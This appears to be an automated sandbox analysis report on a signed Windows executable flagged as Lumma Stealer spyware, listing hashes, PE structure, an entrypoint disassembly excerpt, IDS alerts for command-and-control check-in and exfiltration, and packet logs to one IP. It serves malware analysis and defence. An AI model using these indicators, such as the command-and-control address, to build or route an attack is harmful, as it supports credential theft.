Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	txUcQFc0aJ.exe renamed because original name is a hash value
Original Sample Name:	2e3ea061bac71f40040a84deb399f8ce7683f4b8.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BitLockerToGo.exe, PID 7764 because there are no executed function
Execution Graph export aborted for target txUcQFc0aJ.exe, PID 7404 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:16:28	API Interceptor	8x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	hnskdfgjgar22.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	nabarm5.elf	Get hash	malicious	Unknown	Browse	8.6.115.225
	nklmips.elf	Get hash	malicious	Unknown	Browse	104.29.132.180
	eCompleted_419z.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.177.88
	Adobe GenP 5.exe	Get hash	malicious	LummaC	Browse	104.21.29.252
	Setup_W.exe	Get hash	malicious	LummaC	Browse	104.21.44.57
	iviewers.dll	Get hash	malicious	LummaC	Browse	172.67.195.241
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.145.201
	Collapse.exe	Get hash	malicious	LummaC	Browse	172.67.199.72

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.61
	Adobe GenP 5.exe	Get hash	malicious	LummaC	Browse	172.67.151.61
	Setup_W.exe	Get hash	malicious	LummaC	Browse	172.67.151.61
	iviewers.dll	Get hash	malicious	LummaC	Browse	172.67.151.61
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.151.61
	Collapse.exe	Get hash	malicious	LummaC	Browse	172.67.151.61
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.151.61
	AxoPac.exe	Get hash	malicious	LummaC	Browse	172.67.151.61
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.61
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.61

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.323506534203698
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% InstallShield setup (43055/19) 0.43% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	txUcQFc0aJ.exe
File size:	4'029'080 bytes
MD5:	856fcc25696a214f54af0d37de84d818
SHA1:	2e3ea061bac71f40040a84deb399f8ce7683f4b8
SHA256:	92d457b286fb63d2f5ec9413fd234643448c5f8d2c0763e43ed5cf27ab47eb02
SHA512:	6a0820c26988d697146d71ce152216af79d657907daea4f26e51b34a95fcee2ddea799dafcc1a6b48400012cdeaf3056fae065ac2afa1191e356f58c4a7ca170
SSDEEP:	49152:Zhii8NmRFtujC5QQZIDc/jv/sAVwC/EEj4AMVc9XcKPQj:+i8oAeYc/zKc9cK4
TLSH:	E4160641FA8B84F5D8031C70516A623F97315E098B38DB9BFA5C7B5AEB777920C32609
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........B=..................\......0.........:...@...........................?.......=...@................................

File Icon


Icon Hash:	b8868baba9aba2d8

Static PE Info

General

Entrypoint:	0x461830
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	1aae8bf580c846f39c71c05898e57e88

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	20/12/2024 08:59:54 21/12/2026 08:59:54
Subject Chain	E=admin@ataleogmbh.com, CN=Ataleo GmbH, O=Ataleo GmbH, STREET=Waidhausenstrasse 3/19, L=Wien, S=Wien, C=AT, OID.1.3.6.1.4.1.311.60.2.1.1=Wien, OID.1.3.6.1.4.1.311.60.2.1.2=Wien, OID.1.3.6.1.4.1.311.60.2.1.3=AT, SERIALNUMBER=550807k, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	5553578DD39A42AF5D525601DB481558
Thumbprint SHA-1:	BE7156BD07DD7F72521FAE4A3D6F46C48DD2CE9E
Thumbprint SHA-256:	279D3857570896F466BB8CE6343E9654BA7D9ED594E6E39E36D95FDB029D6567
Serial:	5608CAB7E2CE34D53ABCBB73

Entrypoint Preview

Instruction
jmp 00007FFA14AB1630h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
sub esp, 28h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], ebp
mov dword ptr [esp+14h], esi
mov dword ptr [esp+18h], edi
mov dword ptr [esp], eax
mov dword ptr [esp+04h], ecx
call 00007FFA14A92496h
mov eax, dword ptr [esp+08h]
mov edi, dword ptr [esp+18h]
mov esi, dword ptr [esp+14h]
mov ebp, dword ptr [esp+10h]
mov ebx, dword ptr [esp+1Ch]
add esp, 28h
retn 0004h
ret
int3
int3
int3
int3
int3
int3
sub esp, 08h
mov ecx, dword ptr [esp+0Ch]
mov edx, dword ptr [ecx]
mov eax, esp
mov dword ptr [edx+04h], eax
sub eax, 00010000h
mov dword ptr [edx], eax
add eax, 000013A0h
mov dword ptr [edx+08h], eax
mov dword ptr [edx+0Ch], eax
lea edi, dword ptr [ecx+34h]
mov dword ptr [edx+18h], ecx
mov dword ptr [edi], edx
mov dword ptr [esp+04h], edi
call 00007FFA14AB3A94h
cld
call 00007FFA14AB2B1Eh
call 00007FFA14AB1759h
add esp, 08h
ret
jmp 00007FFA14AB3940h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ebx, dword ptr [esp+04h]
mov ebp, esp
mov dword ptr fs:[00000034h], 00000000h
mov ecx, dword ptr [ebx+04h]
cmp ecx, 00000000h
je 00007FFA14AB3941h
mov eax, ecx
shl eax, 02h
sub esp, eax
mov edi, esp
mov esi, dword ptr [ebx+08h]
cld
rep movsd

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e7000	0x44c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3fe000	0xdbb	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x3d5200	0x2898	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3e8000	0x14e84	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3ab2e0	0xb4	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1ccb58	0x1ccc00	a55d62fea5f1a6e720238ba8a17ee01a	False	0.4105404105059685	data	6.048439365847348	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1ce000	0x1dcdb4	0x1dce00	48d54db011ff4ecdd7c51569f16443be	False	0.4840258437090432	data	5.958432329338492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3ab000	0x3b900	0x14e00	7f45d08ecb7d40940677ce562018c17f	False	0.46423559131736525	data	4.995009550553892	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x3e7000	0x44c	0x600	4c1f863405e23667b54bac8329eec6ab	False	0.3580729166666667	OpenPGP Public Key	3.8150969146477673	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3e8000	0x14e84	0x15000	95d30fd9f7f93a30e90a247316ee6f4f	False	0.5861932663690477	data	6.593268593641417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x3fd000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x3fe000	0xdbb	0xe00	60bc5e6f326733e1f647a4e019bd1187	False	0.36997767857142855	data	4.084514689383175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3fe1a8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.16532258064516128
RT_ICON	0x3fe490	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.32094594594594594
RT_DIALOG	0x3fe5b8	0x176	data	English	United States	0.5802139037433155
RT_GROUP_ICON	0x3fe730	0x22	data	English	United States	1.0
RT_VERSION	0x3fe754	0x244	data	English	United States	0.4827586206896552
RT_MANIFEST	0x3fe998	0x423	XML 1.0 document, ASCII text, with very long lines (1059), with no line terminators	English	United States	0.5127478753541076

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T08:16:28.440312+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	172.67.151.61	443	TCP
2024-12-24T08:16:29.185397+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49741	172.67.151.61	443	TCP
2024-12-24T08:16:29.185397+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49741	172.67.151.61	443	TCP
2024-12-24T08:16:30.440036+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	172.67.151.61	443	TCP
2024-12-24T08:16:31.217842+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49742	172.67.151.61	443	TCP
2024-12-24T08:16:31.217842+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	172.67.151.61	443	TCP
2024-12-24T08:16:32.898998+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	172.67.151.61	443	TCP
2024-12-24T08:16:35.540667+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	172.67.151.61	443	TCP
2024-12-24T08:16:36.361395+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49744	172.67.151.61	443	TCP
2024-12-24T08:16:37.764019+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	172.67.151.61	443	TCP
2024-12-24T08:16:40.257292+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	172.67.151.61	443	TCP
2024-12-24T08:16:42.756989+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49747	172.67.151.61	443	TCP
2024-12-24T08:16:46.380672+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49748	172.67.151.61	443	TCP
2024-12-24T08:16:47.143767+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49748	172.67.151.61	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 08:16:27.214071035 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:27.214109898 CET	443	49741	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:27.214210987 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:27.217329025 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:27.217341900 CET	443	49741	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:28.440207958 CET	443	49741	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:28.440311909 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:28.444645882 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:28.444659948 CET	443	49741	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:28.445053101 CET	443	49741	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:28.500302076 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:28.529465914 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:28.529578924 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:28.529599905 CET	443	49741	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:29.185384989 CET	443	49741	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:29.185516119 CET	443	49741	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:29.185575008 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:29.191900015 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:29.191947937 CET	443	49741	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:29.191977024 CET	49741	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:29.191992044 CET	443	49741	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:29.225440979 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:29.225488901 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:29.225558043 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:29.227129936 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:29.227144957 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:30.439970970 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:30.440036058 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:30.441803932 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:30.441828012 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:30.442030907 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:30.443224907 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:30.443253994 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:30.443289042 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.217845917 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.217905045 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.217940092 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.217972994 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.217983007 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.218004942 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.218024969 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.225941896 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.225991011 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.226001978 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.240940094 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.240991116 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.240998983 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.281663895 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.337528944 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.341671944 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.341736078 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.341761112 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.390938044 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.409421921 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.413402081 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.413446903 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.413455009 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.413466930 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.413512945 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.413635015 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.413647890 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.413659096 CET	49742	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.413664103 CET	443	49742	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.684350967 CET	49743	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.684441090 CET	443	49743	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:31.684555054 CET	49743	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.684863091 CET	49743	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:31.684899092 CET	443	49743	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:32.898909092 CET	443	49743	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:32.898998022 CET	49743	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:32.900257111 CET	49743	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:32.900285959 CET	443	49743	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:32.900633097 CET	443	49743	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:32.901787996 CET	49743	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:32.901952028 CET	49743	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:32.902000904 CET	443	49743	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:32.902085066 CET	49743	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:32.902097940 CET	443	49743	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:34.180155993 CET	443	49743	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:34.180260897 CET	443	49743	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:34.180356026 CET	49743	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:34.180552959 CET	49743	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:34.180592060 CET	443	49743	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:34.326592922 CET	49744	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:34.326643944 CET	443	49744	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:34.326714993 CET	49744	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:34.326992035 CET	49744	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:34.327008009 CET	443	49744	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:35.540599108 CET	443	49744	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:35.540667057 CET	49744	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:35.541949987 CET	49744	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:35.541964054 CET	443	49744	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:35.542304993 CET	443	49744	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:35.543498993 CET	49744	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:35.543844938 CET	49744	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:35.543885946 CET	443	49744	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:36.361401081 CET	443	49744	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:36.361506939 CET	443	49744	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:36.361569881 CET	49744	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:36.361666918 CET	49744	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:36.361681938 CET	443	49744	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:36.544790983 CET	49745	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:36.544831991 CET	443	49745	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:36.544914007 CET	49745	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:36.545308113 CET	49745	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:36.545325041 CET	443	49745	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:37.763886929 CET	443	49745	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:37.764019012 CET	49745	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:37.765316010 CET	49745	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:37.765330076 CET	443	49745	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:37.765666008 CET	443	49745	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:37.766845942 CET	49745	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:37.766961098 CET	49745	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:37.766998053 CET	443	49745	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:37.767077923 CET	49745	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:37.767087936 CET	443	49745	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:38.719449043 CET	443	49745	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:38.719707012 CET	443	49745	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:38.719769955 CET	49745	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:38.719886065 CET	49745	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:38.719907045 CET	443	49745	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:39.031445026 CET	49746	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:39.031487942 CET	443	49746	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:39.031577110 CET	49746	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:39.032054901 CET	49746	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:39.032059908 CET	443	49746	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:40.257191896 CET	443	49746	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:40.257292032 CET	49746	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:40.258440018 CET	49746	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:40.258469105 CET	443	49746	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:40.259557009 CET	443	49746	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:40.263690948 CET	49746	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:40.263797045 CET	49746	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:40.263811111 CET	443	49746	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:41.040251017 CET	443	49746	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:41.040539026 CET	443	49746	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:41.040607929 CET	49746	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:41.040709972 CET	49746	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:41.040733099 CET	443	49746	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:41.536650896 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:41.536696911 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:41.536767006 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:41.537095070 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:41.537108898 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.756900072 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.756989002 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.758232117 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.758240938 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.759196043 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.771243095 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.771909952 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.771950006 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.772037983 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.772073984 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.772178888 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.772239923 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.772370100 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.772397041 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.772541046 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.772571087 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.772722960 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.772754908 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.772763968 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.772902012 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.772933006 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.815355062 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.815562010 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.815608978 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.815646887 CET	49747	443	192.168.2.4	172.67.151.61
